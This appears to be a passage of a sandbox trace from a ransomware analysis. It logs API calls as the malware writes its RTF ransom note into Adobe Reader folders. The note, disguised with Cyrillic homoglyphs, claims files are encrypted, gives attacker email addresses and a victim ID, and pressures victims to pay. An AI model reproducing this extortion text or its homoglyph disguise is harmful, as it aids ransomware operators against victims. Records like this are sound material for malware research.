d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.570] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.571] CloseHandle (hObject=0x1cc) returned 1 [0040.571] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\!bwng_info!.rtf")) returned 0xffffffff [0040.571] GetLastError () returned 0x2 [0040.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.571] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 